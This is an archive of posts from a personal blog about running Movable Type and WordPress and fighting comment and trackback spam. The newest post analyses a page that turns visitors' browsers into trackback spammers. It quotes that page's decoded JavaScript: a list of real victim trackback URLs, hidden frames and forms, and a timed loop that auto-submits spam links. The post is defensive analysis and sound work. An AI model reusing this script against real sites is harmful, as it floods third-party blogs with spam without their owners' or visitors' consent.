Google
 

Spreading Comment and Trackback Spam Through Zombie Browsers

August 7, 2007 – 11:57 am

Since my move to Wordpress, I have been noticing a lot of funny track back hits going back to my old Movable Type installation. First of all, all of these hits were coming back from different IP addresses and different browsers. Second, they all had the same refer. Something was fishy. On further examination, I found something really interesting

It seems that the refer is hosting a malicious HTML page. That page consists of a set of Javascripts which load new frames and submit track back pings to other blogs on the Internet. That means that anyone going to that malicious page is automatically submitting trackback spam somewhere else on the Net. When blog owners see the spam, they go back to check out the refer and end up on the malicios page, which then submits more track back spams in the background. The track backs themselves lead to fake blogs and search results, which eventually either lead to drug stores or ad-populated pages.

There are several interesting things here. First - the malicious page kind of propagates itself. Second, the page does not use any kind of security exploits - everything is done through regular Javascripts. Third, there is apparently enough interest in refers that it generates enough traffic to affect other sites. All of these is very similar to the way regular spam and viruses are spread - through zombie computers, except in this case the browsers are zombies.

Below are some snippets from the code of this site (you can view the decoded site source here - courtesy of Stephane “Gooby” Theroux’s decoder):

First the site loads an array with the target track back URLs:

var ss = new Array('http://140.99.61.57/cgi-bin/mt/mt-tb.cgi/211', 'http://64.130.58.178/cgi-sys/cgiwrap/ebradio/managed-mt/mt-tb.cgi/55', 'http://www.creativedestruction.com/MT/mt-tb.cgi/25', 'http://www.thirstytheologian.com/mt/mt-tb.cgi/287', 'http://www.ultrasparky.org/mt/mt-tb.cgi/5406', 'http://blog.avramovic.info/bblog/trackback.php/9/', 'http://www.technologyevangelist.com/cgi-bin/mt-tb.fcgi/685', 'http://www.edspresso.com/cgi-bin/mt/mt-t.cgi/1002', 'http://hellyes.nl/iam/wp-trackback.php?p=3', 'http://varnam.org/mt33/mt-tb.cgi/157', 'http://varnam.org/mt33/mt-tb.cgi/157');

The next step is to create the frames and forms inside:


var d = parent.fr1.document;
d.write('<div id=mainpage style="display:none">');
d.write('<div id=tbdescr align=center></div>');
d.write('<form name=fff method=POST target=fr2>');
d.write('<input type=text name=url>');
d.write('<input type=text name=title>');
d.write('<input type=text name=excerpt>');
d.write('<input type=text name=blogname>');
d.write('</form>');
d.write('</div>');
tbsp();

Third step is to load up the forms and submit:


function tbsp()
{
var d = parent.fr1.document;
d.getElementById('tbdescr').innerHTML = ii ': ' unescape(ss[ii]);
d.fff.action = unescape(ss[ii]);
d.fff.url.value = unescape('http://getdayfile.nicespace.ca');
d.fff.title.value = unescape('Diphtheria');
d.fff.excerpt.value = 'Read more about ' unescape('Diphtheria');
d.fff.blogname.value = unescape('Diphtheria');
d.fff.submit();
...

Fourth step - rinse, repeat:


if (ii > 0) {
ii--;
setTimeout('tbsp()', 10000);
} else {
setTimeout('refresh()', 2000);
}

The reason why this is allowed to happen is due to the fact that the browser does not restrict interaction with child frames. Thus, dynamically created frames with malicious form submits can happen without user interaction. It is not out of the realm of possibility for this type of attack to be extended to any sort of Web service or web application that can accept GET or POST. In fact it would probably be trivial but most social networks and web applications should filter out Javascript.

At the current time there is no protection against this type of attack other than disabling Javascript or having the browser warn you before submitting a form.

Comments are welcome at blog /at/ shaftek [dot] org.

Moving to Wordpress

August 1, 2007 – 5:01 pm

After many years of hosting this blog on MovableType, I am switching this blog and hopefully all of my static content to Wordpress. There is simply so much more user support out there for Wordpress than MT.

Expect bugs for the next few days…

UPDATE: The move is complete and seems to have worked. Still squashing some last minute bugs. I will probably be writing up my experiences later.

My Blogging Hiatus and Housekeeping

November 11, 2006 – 11:39 pm

Some of you may have noticed that I haven’t been posting as often as usual. Well, the secret is out - we recently bought a house and just finished our move, so I have been kind of busy. I will be posting a bit more often from now on.

Additionally, I just upgraded to Movable Type v3.33. My MT installation is creaking at the sides and I am seriously considering moving the whole thing to Wordpress. I will make a decision in the coming weeks.

Tagging Added

November 25, 2005 – 3:23 pm

After using tagging in other services (Flickr, Technorati, etc.) I finally got around to adding tagging to this blog. I used the recently released Tags plugin developed by MovableType. It uses the “Keywords” section of the MT template to enter tags, and upon entry it adds them to the “Tags” category. IYou can see the tags for each post right above the “posted by” line and a list of all the tags on this blog on the right side (below the categories list). However, there were several other things which I wanted to do with tags as well and here I will provide a short summary of what I did:

1. Display the List of Tags Separatly from Categories.

I have a list of main top level categories and now tags. Since MT treats tags as regular categories, they cluttered up the list. So instead what I did is omitted them from the “Categories” listing and created a separate “Tags” list. In order to exclude the tags from the category listing, I used the following piece of code:

<MTCategories><MTIfIsDescendant parent="Tags">&ltMTElse>
...

And when doing the tags listing, I did the opposite:

<MTCategories><MTIfIsDescendant parent="Tags">
...

Of course, I would rather have a tagcloud, but so far I haven’t been sucessful in making one.

2. Adding relevant del.icio.us and Flickr content.

For the individual category pages, I added del.icio.us and Flickr links for content with the same tags by using the following two snippets of code:

<script type="text/javascript"
src="http://del.icio.us/feeds/js/netwizard/<$MTArchiveTitle$>“>
</script> <script type=”text/javascript”
src=”http://www.flickr.com/badge_code_v2.gne?show_name=1&count=5&display=latest
&size=t&layout=v&source=user_tag
&user=42361858%40N00&tag=<$MTArchiveTitle$>“>
</script>
3. Better ads.For category pages ONLY, I also changed the ads by removing Google AdSense and adding Amazon’s Associates links. Specifically, I added the “books” search linked to the name of the category/tag it appears on. I used the code provided by Amazon for putting in two IFRAMES, substituting the keywords in the search section for the name of the category using the MTArchiveName tag. I also removed all Google Adsense code including the referal buttons. Suprisengly, the ads are MUCH more relevant than Google’s ever were (more info in the next post.

You can see the finished product by going to the rss tag page.

P.S. Technorati still doesn’t pick up the tags.

UPDATE: After a comment left by David Sifry (yes, the CEO of Technorati), the problem seems to be that the tag pages themselves have to point to something like “…/tags/tagname” as explained by this page (why the main Technorati Tags page doesn’t mention this, I don’t know). However, since I didn’t want to muck around with Movable Type’s custom archive templates to generate the program “/tags/tagname” archives, I just used mod_rewrite:


RewriteEngine on
RewriteRule ^tags/(.*) /blog/archives/cat_$1.html [R]

UPDATE #2: Even with suggestions from David Sifry, something still doesn’t work. I now suspect that the real culprit maybe the Feedburner feed, especially since some people in the FB forums have been complaining. I have added an rewrite rule to serve the original atom feed to the technorati bot while redirecting everyone else to FB.

UPDATE #3: Tags now works and have been picked up by Technorati!

On Comment Spam

October 24, 2005 – 5:16 pm

Since I upgraded to MT v3.2, the amount of comment and trackback spam has gone down, probably due to their blacklist lookup feature. However, since then two types of spam accounted for over 90 % of whatever got through:

1. Links to sites hosted by free adult webhosting sites called anzwers.net.
2. Links to various messages posted via insecure bulletin board systems such as wwwboard (a problem that is at least three years old).

Adding “anzwers.net” and “wwwboard” to my keyword blacklist just took care of that.

Upgrading to MT v3.17

July 14, 2005 – 2:54 pm

After getting hit with several spam floods over the past few weeks, I am upgrading to v3.17 of MovableType. Please be patient as there might be occasional hiccups.

UPDATE: Upgrade has been succesful.

Turning Comments On

February 17, 2005 – 2:13 am

While going through some old posts tonight I started wondering why many of them have comments turned off. After some time I remember that I installed the MT-CloseComments plugin. I have shut that plugin off so I can have comments again and hopefully some of the anti-spam techniques that I have been trying out will work.

MT-Banned-List v0.2 with DxL Support

February 12, 2005 – 11:59 pm

I updated my MT-Banned-List plugin with rudimentary support for DxL. You can download it here, my DxL list can be found here.

Fighting Trackback Spam with Email Blacklists

February 1, 2005 – 1:04 pm

(For MT-Banned-List plugin for publishing the internal MT IP ban list, please see this post)

Overnight I got slammed by two trackback spam attacks to my blog, both lasting about two hours and originating from over 20 IPs. I added all of them to my banned list to prevent further occurrences. HOWEVER, I also sat down and analyzed the data to see if it correlates with email spam. Logically speaking it is highly unlikely that comment spammers have so many machines so the most logical conclusions is that they are either using open proxies or infected residential machines. Incidentally the same type of machines are also used for email spam, so it is logical to assume that the data will crossmatch.

WARNING: The amount of data that I collected is probably not statistically sufficient to draw conclusions

To get my results, I collated a list of IPs used in the first attack, did a reverse DNS check on them and looked them up in SenderBase. Out of 28 IPs, only 13 had rDNS entries (46%), out of which about 8 looked like straight broadband or dialup (28%). All of the IPs were located all over the world including universities, companies, and regular users, leading me further to believe that these were hijacked machines.

The most interesting data came from SenderBase: 17 IPs (60%) were listed in at least one spam blacklist as follows:

DSBL open proxy - 8 (28%)
CBL open proxy - 10 (35%)
SORBS open proxy - 4 (14%)
Blitzed open proxy - 4 (14%)
SpamCop spam - 5 (17%)
SORBS spam - 1 (3%)

Out of the remaining 11 IPs, 4 (14%) had their mail volume spiked in the past 30 days, with some spiking as high as over 1500% in the past day. All together, only 7 (25%) were not listed in any blacklist or had volume spikes.

What this means is that we can successfully use email spam blacklists for blocking comment and trackback spam, especially the ones that check for open proxies NOT spam. For example, using the four blacklists that detect open proxies (CBL, DSBL, SORBS and Blitzed) would take care of 16 IPs (57%) of trackback spam I got. Unfortunately, the current plugins (MT-DSBL and WP-DSBL) only check against one list - DSBL which in my case catches only 28% of spam. Of course, adding URL blacklists such as SURL makes this stuff work even better.

UPDATE #1: For MT 2.6 there is currently no way to check blacklists since Brad’s MT-DSBL plugin is only for MT v3. For MT v2.6, do the following:
1. In your blog directory, go to lib/MT/App/.
2. Open “Trackback.pm” in a text editor (backup first!).
3. Find a line starting “## Check if user has pinged recently”.
4. Insert the following right above that line:

## Check blacklists
my $rem_ip = $app->remote_ip;
my ($a, $b, $c, $d) = split(/\./, $rem_ip);
my $rev = “$d.$c.$b.$a”;
## DSBL list
my $lookup = “$rev.list.dsbl.org”;
if(gethostbyname($lookup))
{ return $app->_response(Error =>
$app->translate(”Your IP is blacklisted by DSBL, $lookup see http://dsbl.org/listing?$rem_ip.”));
}

You can easily change it for any other blacklist as well.

UPDATE #2: As per Andy Newton’s comment, keep in mind that blacklists for email have not been all that good so caution is advised (also see this draft).


In any case, here is my raw data:
Read the rest of this entry »

Inline Trackbacks

January 21, 2005 – 12:27 am

Tonight I added inline trackbacks to this blog so users don’t have to click on popups to see them. I followed the instructions at the “Learning Movable Type” site (method A). I tried using Adam Kalsey’s SimpleComments but for some reason couldn’t get it to work.

MT changes licensing

May 14, 2004 – 11:59 am

Movable Type made an announcement today with changes to their licensing scheme. In particular more than one author and three blogs is now being charged. Lots of people are screaming. I have been thinking about adding another blog, but will wait until this shakes out. Of course, there is always WordPress and Blogger.

Moving from Blogger.com

February 12, 2004 – 1:28 am

I finally got around to switching my blog software to Movable Type from the hosted Blogger.com. Bear with me while I work out the kinks.

Also, I was able to get moblogging going with my Treo, so I am really looking forward to this.